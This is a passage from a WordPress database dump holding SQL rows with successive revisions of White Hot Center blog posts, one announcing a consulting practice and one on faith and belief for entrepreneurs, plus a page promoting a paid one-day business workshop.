workshops, the WHC site will be redesigned to include various online self-training products in brand strategy, marketing, communications and strategic business development. These self-directed learning products will also be bundled to include various levels individual strategic consulting support as well.\r\n\r\nComponents of the consulting practice are already in place, and this past year I worked with several entrepreneurs and emerging business organizations in the US helping them to successfully navigate the challenges of their next level of growth.\r\n\r\nFrom these amazing client experiences, I’ve come to a realization I can do my greatest work, offer the greatest value that is proven to produce a return on investment and more importantly serve the needs of my fellow entrepreneurs in ways that create bigger futures for their business and for their whole life experience.\r\n\r\nYou can learn more about the various consulting options available and the investment required in the <a title="White Hote Center Consulting" href="http://whc.fbdev.org/consulting/" target="_blank">“Consulting”</a> section of the site.\r\n\r\nAnd for my blog readers, I’m making a renewed commitment to you to keep my writing frequent, interesting, inspiring and most of all useful! Please continue to share your comments. If you are new to The White Hot Center, I invite you to subscribe for free. I promise your privacy is protected and I won''t spam you with endless offers.\r\n\r\nI wish you all a most prosperous and joyful New Year!', 'The White Hot Center in 2014: a new beginning!', 0, '', 'inherit', 'open', 'open', '', '2519-revision-7', '', '', '2014-01-06 17:17:38', '2014-01-07 00:17:38', '', 2519, 'http://www.whitehotcenter.com/2014/01/2519-revision-7/', 0, 'revision', '', 0),
(2528, 2, '2014-01-06 17:22:24', '2014-01-07 00:22:24', '<h1><img class="alignnone size-full wp-image-2520" title="new beginning" src="http://whc.fbdev.org/wp-content/uploads/2014/01/growth-e1363826149747.jpg" alt="" width="515" height="312" />\nAs many of my readers know, this blog has been a labor of love for me. It never was my intention for the White Hot Center it to be a “business”. This year, I have changed my thinking on that.</h1>\nFor the past few years, the White Hot Center has been a blog where I share my interest, expertise and knowledge on building bigger futures for early stage entrepreneurs and solo professionals. It’s a new year (again). Each new year offers opportunity for creative entrepreneurs to assess, evaluate, eliminate and innovate in their business.  No doubt you are in a similar frame of mind–hopeful and optimistic that this will be the year it all comes together for your business.\n\nFor many business people, the year-end and new-year beginning is a time of planning and introspection. No surprise there. Every year brings the hope and promise that things will be better in the new year then they were in the last. Or at the very least, not get any worse. Either way, the annual ritual of thinking and planning for the year ahead is inescapable for entrepreneurs. It’s kind of a hard-wired thing.\n\nLike you, I have been doing my own assessment of the state of things in my business and in my professional life. I am asking myself “will this be the year my White Hot Center vision finally comes together?”\n\nI believe it to be so!\n\nI am pleased to say in 2014 I will be devoting more of my creative energies to building the White Hot Center as a strategic consulting practice for personal and professional development, leadership, value creation, innovation and business development specifically for early stage creative entrepreneurs, solo professionals and emerging organizations seeking more clarity and confidence to turn their possibilities into achievement.\n\nOf course, I‘ve played with this idea in many forms over the past couple years. The big distraction keeping me from realizing my WHC vision was the fact my primary consulting practice been serving marketing people in large organizations primarily as a brand strategist and creative consultant. And while serving large organizations over the years has been financially lucrative, it has grown more difficult for me to gain the level of deep personal satisfaction of making a difference for people. Big is not always better.\n<h2>In working with entrepreneurs building next generation companies this past year, the difference for me in terms of love, creativity, fulfillment and satisfaction has been remarkable.</h2>\nSeemingly, I have discovered something more authentic about my own gifts and capabilities helping others to connect their vision and action into a powerful creative force for business and life success.In many ways, I am at long last ready to step out and serve people in ways not possible in my traditional business.\n\nIn addition to blogging (which I love), this year I will be offering several forms of strategic consulting and guidance through the White Hot Center specifically tailored to the needs of entrepreneurs, solo professionals and CEOs of emerging companies.\n\nThis year, the main focus of the White Hot Center will be producing more one-day facilitated Quantum Leap Business Development Workshops that help entrepreneurs and solo professionals build the right foundation to create more competitive advantage in their business development and sales activities.\n\nIn addition to the facilitated workshops, the WHC site will be redesigned to include various online self-training products in brand strategy, marketing, communications and strategic business development. These self-directed learning products will also be bundled to include various levels individual strategic consulting support as well.\n\nComponents of the consulting practice are already in place, and this past year I worked with several entrepreneurs and emerging business organizations in the US helping them to successfully navigate the challenges of their next level of growth.\n\nFrom these amazing client experiences, I’ve come to a realization I can do my greatest work, offer the greatest value that is proven to produce a return on investment and more importantly serve the needs of my fellow entrepreneurs in ways that create bigger futures for their business and for their whole life experience.\n\nYou can learn more about the various consulting options available and the investment required in the <a title="White Hote Center Consulting" href="http://whc.fbdev.org/consulting/" target="_blank">“Consulting”</a> section of the site.\n\nAnd for my blog readers, I’m making a renewed commitment to you to keep my writing frequent, interesting, inspiring and most of all useful! Please continue to share your comments. If you are new to The White Hot Center, I invite you to subscribe for free. I promise your privacy is protected and I won''t spam you with endless offers.\n\nI wish you all a most prosperous and joyful New Year!', 'The White Hot Center in 2014: a new beginning!', 0, '', 'inherit', 'open', 'open', '', '2519-revision-8', '', '', '2014-01-06 17:22:24', '2014-01-07 00:22:24', '', 2519, 'http://www.whitehotcenter.com/2014/01/2519-revision-8/', 0, 'revision', '', 0),
(2529, 2, '2014-01-06 17:31:31', '2014-01-07 00:31:31', '<h1><img class="alignnone size-full wp-image-2520" title="new beginning" src="http://whc.fbdev.org/wp-content/uploads/2014/01/growth-e1363826149747.jpg" alt="" width="515" height="312" />\nAs many of my readers know, this blog has been a labor of love for me. It never was my intention for the White Hot Center it to be a “business”. This year, I have changed my thinking on that.</h1>\nFor the past few years, the White Hot Center has been a blog where I share my interest, expertise and knowledge on building bigger futures for early stage entrepreneurs and solo professionals. It’s a new year (again). Each new year offers opportunity for creative entrepreneurs to assess, evaluate, eliminate and innovate in their business.  No doubt you are in a similar frame of mind–hopeful and optimistic that this will be the year it all comes together for your business.\n\nFor many business people, the year-end and new-year beginning is a time of planning and introspection. No surprise there. Every year brings the hope and promise that things will be better in the new year then they were in the last. Or at the very least, not get any worse. Either way, the annual ritual of thinking and planning for the year ahead is inescapable for entrepreneurs. It’s kind of a hard-wired thing.\n\nLike you, I have been doing my own assessment of the state of things in my business and in my professional life. I am asking myself “will this be the year my White Hot Center vision finally comes together?”\n\nI believe it to be so!\n\nI am pleased to say in 2014 I will be devoting more of my creative energies to building the White Hot Center as a strategic consulting practice for personal and professional development, leadership, value creation, innovation and business development specifically for early stage creative entrepreneurs, solo professionals and emerging organizations seeking more clarity and confidence to turn their possibilities into achievement.\n\nOf course, I‘ve played with this idea in many forms over the past couple years. The big distraction keeping me from realizing my WHC vision was the fact my primary consulting practice been serving marketing people in large organizations primarily as a brand strategist and creative consultant. And while serving large organizations over the years has been financially lucrative, it has grown more difficult for me to gain the level of deep personal satisfaction of making a difference for people. Big is not always better.\n<h2>In working with entrepreneurs building next generation companies this past year, the difference for me in terms of love, creativity, fulfillment and satisfaction has been remarkable.</h2>\nSeemingly, I have discovered something more authentic about my own gifts and capabilities helping others to connect their vision and action into a powerful creative force for business and life success. In many ways, I am at long last ready to step out and serve people in more direct ways not possible in my traditional business.\n\nIn addition to blogging (which I love), this year I will be offering several forms of strategic consulting and guidance through the White Hot Center specifically tailored to the needs of entrepreneurs, solo professionals and CEOs of emerging companies.\n\nThis year, the main focus of the White Hot Center will be producing more one-day facilitated Quantum Leap Business Development Workshops that help entrepreneurs and solo professionals build the right foundation to create more competitive advantage in their business development and sales activities.\n\nIn addition to the facilitated workshops, the WHC site will be redesigned to include various online self-training products in brand strategy, marketing, communications and strategic business development. These self-directed learning products will also be bundled to include various levels of individual strategic consulting support as well.\n\nComponents of the WHC consulting practice are already in place, and this past year I was privilaged to work with several entrepreneurs and emerging business organizations in the US helping them to successfully navigate the challenges of their next level of growth.\n\nFrom these amazing client experiences, I’ve come to a realization I can do my greatest work, offer the greatest value that is proven to produce a return on investment and more importantly serve the needs of my fellow entrepreneurs in ways that create bigger futures for their business and for their whole life experience.\n\nYou can learn more about the various consulting options available and the investment required in the <a title="White Hote Center Consulting" href="http://whc.fbdev.org/consulting/" target="_blank">“Consulting”</a> section of the site.\n\nAnd for my blog readers, I’m making a renewed commitment to you to keep my writing frequent, interesting, inspiring and most of all useful! Please continue to share your comments. If you are new to The White Hot Center, I invite you to subscribe for free. Just fill out the form on the right. The free report will give you a head start on building competitive advantage in your business. I promise your privacy is protected and I won''t spam ywith endless sales offers.\n\nI wish you all a most prosperous and joyful New Year!', 'The White Hot Center in 2014: a new beginning!', 0, '', 'inherit', 'open', 'open', '', '2519-revision-9', '', '', '2014-01-06 17:31:31', '2014-01-07 00:31:31', '', 2519, 'http://www.whitehotcenter.com/2014/01/2519-revision-9/', 0, 'revision', '', 0),
(2530, 2, '2014-01-06 17:32:45', '2014-01-07 00:32:45', '<h1><img class="alignnone size-full wp-image-2520" title="new beginning" src="http://whc.fbdev.org/wp-content/uploads/2014/01/growth-e1363826149747.jpg" alt="" width="515" height="312" />\nAs many of my readers know, this blog has been a labor of love for me. It never was my intention for the White Hot Center it to be a “business”. This year, I have changed my thinking on that.</h1>\nFor the past few years, the White Hot Center has been a blog where I share my interest, expertise and knowledge on building bigger futures for early stage entrepreneurs and solo professionals. It’s a new year (again). Each new year offers opportunity for creative entrepreneurs to assess, evaluate, eliminate and innovate in their business.  No doubt you are in a similar frame of mind–hopeful and optimistic that this will be the year it all comes together for your business.\n\nFor many business people, the year-end and new-year beginning is a time of planning and introspection. No surprise there. Every year brings the hope and promise that things will be better in the new year then they were in the last. Or at the very least, not get any worse. Either way, the annual ritual of thinking and planning for the year ahead is inescapable for entrepreneurs. It’s kind of a hard-wired thing.\n\nLike you, I have been doing my own assessment of the state of things in my business and in my professional life. I am asking myself “will this be the year my White Hot Center vision finally comes together?”\n\nI believe it to be so!\n\nI am pleased to say in 2014 I will be devoting more of my creative energies to building the White Hot Center as a strategic consulting practice for personal and professional development, leadership, value creation, innovation and business development specifically for early stage creative entrepreneurs, solo professionals and emerging organizations seeking more clarity and confidence to turn their possibilities into achievement.\n\nOf course, I‘ve played with this idea in many forms over the past couple years. The big distraction keeping me from realizing my WHC vision was the fact my primary consulting practice been serving marketing people in large organizations primarily as a brand strategist and creative consultant. And while serving large organizations over the years has been financially lucrative, it has grown more difficult for me to gain the level of deep personal satisfaction of making a difference for people. Big is not always better.\n<h2>In working with entrepreneurs building next generation companies this past year, the difference for me in terms of love, creativity, fulfillment and satisfaction has been remarkable.</h2>\nSeemingly, I have discovered something more authentic about my own gifts and capabilities helping others to connect their vision and action into a powerful creative force for business and life success. In many ways, I am at long last ready to step out and serve people in more direct ways not possible in my traditional business.\n\nIn addition to blogging (which I love), this year I will be offering several forms of strategic consulting and guidance through the White Hot Center specifically tailored to the needs of entrepreneurs, solo professionals and CEOs of emerging companies.\n\nThis year, the main focus of the White Hot Center will be producing more one-day facilitated Quantum Leap Business Development Workshops that help entrepreneurs and solo professionals build the right foundation to create more competitive advantage in their business development and sales activities.\n\nIn addition to the facilitated workshops, the WHC site will be redesigned to include various online self-training products in brand strategy, marketing, communications and strategic business development. These self-directed learning products will also be bundled to include various levels of individual strategic consulting support as well.\n\nComponents of the WHC consulting practice are already in place, and this past year I was privilaged to work with several entrepreneurs and emerging business organizations in the US helping them to successfully navigate the challenges of their next level of growth.\n\nFrom these amazing client experiences, I’ve come to a realization I can do my greatest work, offer the greatest value that is proven to produce a return on investment and more importantly serve the needs of my fellow entrepreneurs in ways that create bigger futures for their business and for their whole life experience.\n\nYou can learn more about the various consulting options available and the investment required in the <a title="White Hote Center Consulting" href="http://whc.fbdev.org/consulting/" target="_blank">“Consulting”</a> section of the site.\n\nAnd for my blog readers, I’m making a renewed commitment to you to keep my writing frequent, interesting, inspiring and most of all useful! Please continue to share your comments. If you are new to The White Hot Center, I invite you to subscribe for free. Just fill out the form on the right. The free report will give you a head start on building competitive advantage in your business. I promise your privacy is protected and I won''t spam your in box with endless sales offers.\n\nI wish you all a most prosperous and joyful New Year!', 'The White Hot Center in 2014: a new beginning!', 0, '', 'inherit', 'open', 'open', '', '2519-revision-10', '', '', '2014-01-06 17:32:45', '2014-01-07 00:32:45', '', 2519, 'http://www.whitehotcenter.com/2014/01/2519-revision-10/', 0, 'revision', '', 0);
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(2531, 2, '2014-01-06 17:36:19', '2014-01-07 00:36:19', '<h1><img class="alignnone size-full wp-image-2520" title="new beginning" src="http://whc.fbdev.org/wp-content/uploads/2014/01/growth-e1363826149747.jpg" alt="" width="515" height="312" />\r\nAs many of my readers know, this blog has been a labor of love for me. It never was my intention for the White Hot Center it to be a “business”. This year, I have changed my thinking on that.</h1>\r\nFor the past few years, the White Hot Center has been a blog where I share my interest, expertise and knowledge on building bigger futures for early stage entrepreneurs and solo professionals. It’s a new year (again). Each new year offers opportunity for creative entrepreneurs to assess, evaluate, eliminate and innovate in their business.  No doubt you are in a similar frame of mind–hopeful and optimistic that this will be the year it all comes together for your business.\r\n\r\nFor many business people, the year-end and new-year beginning is a time of planning and introspection. No surprise there. Every year brings the hope and promise that things will be better in the new year then they were in the last. Or at the very least, not get any worse. Either way, the annual ritual of thinking and planning for the year ahead is inescapable for entrepreneurs. It’s kind of a hard-wired thing.\r\n\r\nLike you, I have been doing my own assessment of the state of things in my business and in my professional life. I am asking myself “will this be the year my White Hot Center vision finally comes together?”\r\n\r\nI believe it to be so!\r\n\r\nI am pleased to say in 2014 I will be devoting more of my creative energies to building the White Hot Center as a strategic consulting practice for personal and professional development, leadership, value creation, innovation and business development specifically for early stage creative entrepreneurs, solo professionals and emerging organizations seeking more clarity and confidence to turn their possibilities into achievement.\r\n\r\nOf course, I‘ve played with this idea in many forms over the past couple years. The big distraction keeping me from realizing my WHC vision was the fact my primary consulting practice been serving marketing people in large organizations primarily as a brand strategist and creative consultant. And while serving large organizations over the years has been financially lucrative, it has grown more difficult for me to gain the level of deep personal satisfaction of making a difference for people. Big is not always better.\r\n<h2>In working with entrepreneurs building next generation companies this past year, the difference for me in terms of love, creativity, fulfillment and satisfaction has been remarkable.</h2>\r\nSeemingly, I have discovered something more authentic about my own gifts and capabilities helping others to connect their vision and action into a powerful creative force for business and life success. In many ways, I am at long last ready to step out and serve people in more direct ways not possible in my traditional business.\r\n\r\nIn addition to blogging (which I love), this year I will be offering several forms of strategic consulting and guidance through the White Hot Center specifically tailored to the needs of entrepreneurs, solo professionals and CEOs of emerging companies.\r\n\r\nThis year, the main focus of the White Hot Center will be producing more one-day facilitated Quantum Leap Business Development Workshops that help entrepreneurs and solo professionals build the right foundation to create more competitive advantage in their business development and sales activities.\r\n\r\nIn addition to the facilitated workshops, the WHC site will be redesigned to include various online self-training products in brand strategy, marketing, communications and strategic business development. These self-directed learning products will also be bundled to include various levels of individual strategic consulting support as well.\r\n\r\nComponents of the WHC consulting practice are already in place, and this past year I was privilaged to work with several entrepreneurs and emerging business organizations in the US helping them to successfully navigate the challenges of their next level of growth.\r\n\r\nFrom these amazing client experiences, I’ve come to a realization I can do my greatest work, offer the greatest value that is proven to produce a return on investment and more importantly serve the needs of my fellow entrepreneurs in ways that create bigger futures for their business and for their whole life experience.\r\n\r\nYou can learn more about the various consulting options available and the investment required in the <a title="White Hote Center Consulting" href="http://whc.fbdev.org/consulting/" target="_blank">“Consulting”</a> section of the site.\r\n\r\nAnd for my blog readers, I’m making a renewed commitment to you to keep my writing frequent, interesting, inspiring and most of all useful! Please continue to share your comments. If you are new to The White Hot Center, I invite you to subscribe for free. Just fill out the form on the right. The free report will give you a head start on building competitive advantage in your business. I promise your privacy is protected and I won''t spam your in box with endless sales offers.\r\n\r\nI wish you all a most prosperous and joyful New Year!', 'The White Hot Center in 2014: a new beginning!', 0, '', 'inherit', 'open', 'open', '', '2519-revision-11', '', '', '2014-01-06 17:36:19', '2014-01-07 00:36:19', '', 2519, 'http://www.whitehotcenter.com/2014/01/2519-revision-11/', 0, 'revision', '', 0),
(2532, 2, '2013-08-09 16:13:46', '2013-08-09 23:13:46', '&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2386" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference1.jpg" alt="" width="495" height="188" />\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<iframe src="http://www.youtube.com/embed/ZhBhjF7ocW0" frameborder="0" width="490" height="249"></iframe>\r\n<h2><strong>White Hot Center Presents:\r\nThe Quantum Leap\r\nBusiness Transformation Workshop</strong><strong>\r\nStrategies for Creating Competitive Advantage\r\nfor Entrepreneurs and Solo Professionals\r\nNovember 8th, 2013\r\nOjai, California\r\n</strong></h2>\r\n<h2><strong>Facilitated by\r\nThomson Dawson\r\nBusiness Transformation Consultant to Creative Entrepreneuers</strong></h2>\r\n<h2><span style="color: #f5a509;">A one-day intensive business transformation workshop designed to guide creative entrepreneurs and solo professionals who want to build a solid foundation for brand marketing, business development and sales success at the early stage of their business. Watch the video to learn more about what we''ll cover in the workshop.</span></h2>\r\n<h3><span style="color: #808080;">Without sales there is no business</span><span style="color: #808080;"><strong>!</strong></span></h3>\r\nIf you’re an early stage entrepreneur or self-employed creative professional, you know the importance of having a steady stream of clients and customers coming your way. The truth is many early-stage entrepreneurs struggle finding a steady stream of higher value clients. Many more resist the marketing and sales process altogether opting to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive marketplace today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for your business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn greater <strong>possibilities into achievement</strong>.\r\n\r\n<strong>Clients have abundant choice.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when your competitors are discounting their price to win business?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business, you will not want to miss attending this strategic business development workshop designed and facilitated by <a href="http://whc.fbdev.org/contact/" target="_blank">Thomson Dawson, Business Transformation Consultant to Creative Entrepreneurs.</a>\r\n\r\n<img class="alignnone size-full wp-image-2382" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/06/thomson-sd-1.jpg" alt="" width="515" height="361" />\r\n<h2><strong></strong> Spend one important day working on your business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future and get your business to the next level.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this transformational business development workshop for all creative entreprenuers  and solo professionals who seek insight, guidance and creativity to take their business to the next level.\r\n\r\n<strong>Investment:</strong>\r\n$995.00 USD per person\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\nAdditional discount of $50 off for each additional person in your firm prior to September 30, 2013.\r\n\r\nTuition fee must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h3><span style="color: #888888;">Early Registration\r\n</span></h3>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly.\r\n<h3><a title="Quantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank"><strong>Register Now and Save!</strong></a></h3>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2013-08-09 16:13:46', '2013-08-09 23:13:46', '', 145, 'http://www.whitehotcenter.com/2013/08/145-revision-145/', 0, 'revision', '', 0),
(2533, 2, '2014-01-06 17:53:18', '2014-01-07 00:53:18', '&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2386" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference1.jpg" alt="" width="495" height="188" />\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<iframe src="http://www.youtube.com/embed/ZhBhjF7ocW0" frameborder="0" width="490" height="249"></iframe>\r\n<h2><strong>White Hot Center Presents:\r\nThe Quantum Leap\r\nBusiness Transformation Workshop</strong><strong>\r\nStrategies for Creating Competitive Advantage\r\nfor Entrepreneurs and Solo Professionals\r\nApril 18, 2013\r\nOjai, California\r\n</strong></h2>\r\n<h2><strong>Facilitated by\r\nThomson Dawson\r\nBusiness Transformation Consultant to Creative Entrepreneuers</strong></h2>\r\n<h2><span style="color: #f5a509;">A one-day intensive business transformation workshop designed to guide creative entrepreneurs and solo professionals who want to build a solid foundation for brand marketing, business development and sales success at the early stage of their business. Watch the video to learn more about what we''ll cover in the workshop.</span></h2>\r\n<h3><span style="color: #808080;">Without sales there is no business</span><span style="color: #808080;"><strong>!</strong></span></h3>\r\nIf you’re an early stage entrepreneur or self-employed creative professional, you know the importance of having a steady stream of clients and customers coming your way. The truth is many early-stage entrepreneurs struggle finding a steady stream of higher value clients. Many more resist the marketing and sales process altogether opting to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive marketplace today, you must embrace <strong>business development, lead generation and sales</strong> as <strong>the essential</strong> <strong>skill</strong> for your business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn greater <strong>possibilities into achievement</strong>.\r\n\r\n<strong>Clients have abundant choice.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce.\r\n\r\n<strong>How do you gain radical advantage over would-be competitors in an ultra-competitive marketplace?</strong>\r\n\r\n<strong>How do you find the right clients who are a perfect fit for you? </strong>\r\n\r\n<strong>How do you differentiate your business from alternatives to your firm in ways that matter to your clients? </strong>\r\n\r\n<strong>How do you command premium prices and greater profit margins when your competitors are discounting their price to win business?</strong>\r\n\r\n<strong>How do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?</strong>\r\n\r\nIf you’re serious about the growth and success of your creative business, you will not want to miss attending this strategic business development workshop designed and facilitated by <a href="http://whc.fbdev.org/contact/" target="_blank">Thomson Dawson, Business Transformation Consultant to Creative Entrepreneurs.</a>\r\n\r\n<img class="alignnone size-full wp-image-2382" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/06/thomson-sd-1.jpg" alt="" width="515" height="361" />\r\n<h2><strong></strong> Spend one important day working on your business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future and get your business to the next level.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this transformational business development workshop for all creative entreprenuers  and solo professionals who seek insight, guidance and creativity to take their business to the next level.\r\n\r\n<strong>Investment:</strong>\r\n$895.00 USD per person\r\nSpecial discount of $100 off for early registration prior to March 18, 2013\r\nAdditional discount of $95 off for each additional person in your firm prior to March 18, 2013.\r\n\r\nTuition fee must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h3><span style="color: #888888;">Early Registration\r\n</span></h3>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to March 18, 2013. This workshop has limited capacity and will fill up quickly.\r\n<h3><a title="Quantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank"><strong>Register Now and Save!</strong></a></h3>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2014-01-06 17:53:18', '2014-01-07 00:53:18', '', 145, 'http://www.whitehotcenter.com/2014/01/145-revision-146/', 0, 'revision', '', 0),
(2534, 2, '2014-01-11 15:01:53', '2014-01-11 22:01:53', '<p><img class="alignnone size-full wp-image-2535" title="All things come through faith and belief" src="http://whc.fbdev.org/wp-content/uploads/2014/01/faith-belief.jpg" alt="" width="486" height="321" /></p>\r\n<h1>With so much useful and free information on business success available to entrepreneurs on the web, it’s a wonder every entrepreneur who would dare to try wouldn’t be massively successful.</h1>\r\n<p>In less than half a generation, knowledge on anything is everywhere and more accessible to everyone than ever before in human history. If you’re an early stage entrepreneur or solo professional in this day in age, you know how to obtain tactical knowledge from the outside world–but what about the inside world of your creativity and imagination?  The formless, good dirt where the seeds of your future are planted?</p>\r\n<p>Just a friendly reminder if you are beginning a new idea–more important for your success than obtained knowledge, is the quality of what you''re currently thinking about. And the quality of what you think about forms the quality of your emotions, and what you’re feeling will, in turn, drive your behavior or action. Actions determine results. This is the law of cause and effect at work, and just like gravity, it’s always on.</p>\r\n<h3>The seed of every success lies in the dominant frame of mind, not in knowledge, talent or skill.</h3>\r\n<p>The start of a new year is always a good time to ponder what lies ahead. Everywhere I go speaking and working with entrepreneurs, many are “hopeful” this will be the year for harvesting.  I hope so too, but for me, hope is not enough to put hay in the barn. Hope is not the dominant frame of mind that will make things happen.</p>\r\n<p>Naturally, it’s the ultimate zen challenge for all entrepreneurs in the process of building a bigger future for the world and themselves to remain in the right frame of mind. I’m not talking about trite and cliché positive thinking or affirmations here (although that’s helpful too), I’m talking about faith and belief– not hope!</p>\r\n<p>Do you <em>believe without reservation</em> that your vision / dream / desire / goal is on its way to you right now; or are you uncertain, doubtful and fearful, trying to obtain more outside knowledge to hedge your risk?</p>\r\n<p>Belief is the effect that faith causes. The amount of one determines the amount of the other. You can never have more of one and less of the other. But you must first have faith to believe.</p>\r\n<p>Not the kind of faith you have when it’s happening and things are going your way. No, I’m talking about the kind of faith required to believe in something you don’t see happening or producing the results you expect. The kind of faith that confirms “you just know you know” this idea will succeed in spite of any current evidence to the contrary! Faith beyond belief.</p>\r\n<p>This is real Jedi mind level stuff, but there’s nothing complicated about creating results in the world. It’s a pretty simple formula:</p>\r\n<h2>Faith will power your belief, which creates your emotions, that drive your actions, which determines your results.</h2>\r\n<p>If you’re in the critical stages of inventing or reinventing your business, entering new markets, appealing to different customers, innovating new products, recovering from a recent business failure, even starting over from scratch, here’s a first principal I find helpful to practice whenever I start to ponder what I want my next big idea to be:</p>\r\n<p><strong>Never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</strong></p>\r\n<p>Faith and Belief are twin sisters. Together they must occupy your dominant frame of mind.  Put your energy into strengthening your faith and belief in your big idea, not just more knowledge of tactics.</p>\r\n<p><em>If you found this post helpful, please subscribe to receive posts directly to your inbox.</em></p>\r\n<p>&nbsp;</p>\r\n', 'Faith and Belief: The dominant frame of mind for creating a bigger future!', 0, '', 'publish', 'open', 'open', '', 'faith-and-belief-the-dominant-frame-of-mind-for-creating-a-bigger-future', '', '', '2014-01-11 15:01:53', '2014-01-11 22:01:53', '', 0, 'http://www.whitehotcenter.com/?p=2534', 0, 'post', '', 1),
(2535, 2, '2014-01-11 14:23:45', '2014-01-11 21:23:45', '', 'All things come through faith and belief', 0, '', 'inherit', 'open', 'open', '', 'faith-belief', '', '', '2014-01-11 14:23:45', '2014-01-11 21:23:45', '', 2534, 'http://www.whitehotcenter.com/wp-content/uploads/2014/01/faith-belief.jpg', 0, 'attachment', 'image/jpeg', 0),
(2536, 2, '2014-01-11 14:33:32', '2014-01-11 21:33:32', '<img class="alignnone size-full wp-image-2535" title="All things come through faith and belief" src="http://whc.fbdev.org/wp-content/uploads/2014/01/faith-belief.jpg" alt="" width="486" height="321" />\n<h1>With so much useful and free information on business success available to entrepreneurs on the web, it’s a wonder every entrepreneur who would dare to try wouldn’t be massively successful.</h1>\nIn less than half a generation, knowledge on anything is everywhere and more accessible to everyone than ever before in human history. If you’re an early stage entrepreneur or solo professional in this day in age, you know how to obtain tactical knowledge from the outside world–but what about the inside world of your creativity and imagination?  The formless, good dirt where the seeds of your future are planted?\n\nJust a friendly reminder if you are beginning a new idea–more important to your success (and its enjoyment) than obtained knowledge, is the quality of what you currently thinking about. And the quality of what you think about forms the quality of your emotions, and what you’re feeling will, in turn, drive your behavior or action. Actions determine results. This is the law of cause and effect at work, and just like gravity, it’s always on.\n\nThe seed of every success lies in the dominant frame of mind, not in knowledge, talent or skill.\n\nThe start of a new year is always a good time to ponder what lies ahead. Everywhere I go speaking and working with entrepreneurs, many are “hopeful” this will be the year for harvesting.  I hope so too, but for me, hope is not enough to put hay in the barn. Hope is not the dominant frame of mind that will make things happen.\n\nNaturally, it’s the ultimate zen challenge for all entrepreneurs in the process of building a bigger future for the world and themselves to remain in the right frame of mind. I’m not talking about trite and cliché positive thinking or affirmations here (although that’s helpful too), I’m talking about belief! Belief is not hope.\n\nDo you <em>believe without reservation</em> that your vision / dream / desire / goal is on its way to you right now; or are you uncertain, doubtful and fearful, trying to obtain more outside knowledge to hedge your risk?\n\nBelief is the effect that faith causes. The amount of one determines the amount of the other. You can never have more of one and less of the other. But you must first have faith to believe.\n\nNot the kind of faith you have when it’s happening and things are going your way. No, I’m talking about the kind of faith required to believe in something you don’t see happening or producing the results you expect. The kind of faith that confirms “you  just know you know” this idea will succeed in spite of any current evidence to the contrary! Faith beyond belief.\n\nThis is real Jedi mind level stuff, but there’s nothing complicated about creating results in the world. It’s a pretty simple formula:\n<h2>Faith will power your belief, which creates your emotions, that drive your actions, which determines your results.</h2>\nIf you’re in the critical stages of inventing or reinventing your business, entering new markets, appealing to different customers, innovating new products, recovering from a recent business failure, even starting over from scratch, here’s a first principal I find helpful to practice whenever I start to ponder what I want my next big idea to be:\n\n<strong>Never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</strong>\n\nFaith and Believe are twin sisters. They go everywhere together with you. Strengthen your faith and belief in your big idea, not your knowledge of tactics.\n\n<em>If you found this post helpful, please subscribe to receive posts directly to your inbox.</em>\n\n&nbsp;', 'Faith and Belief: The dominant frame of mind for success!', 0, '', 'inherit', 'open', 'open', '', '2534-revision', '', '', 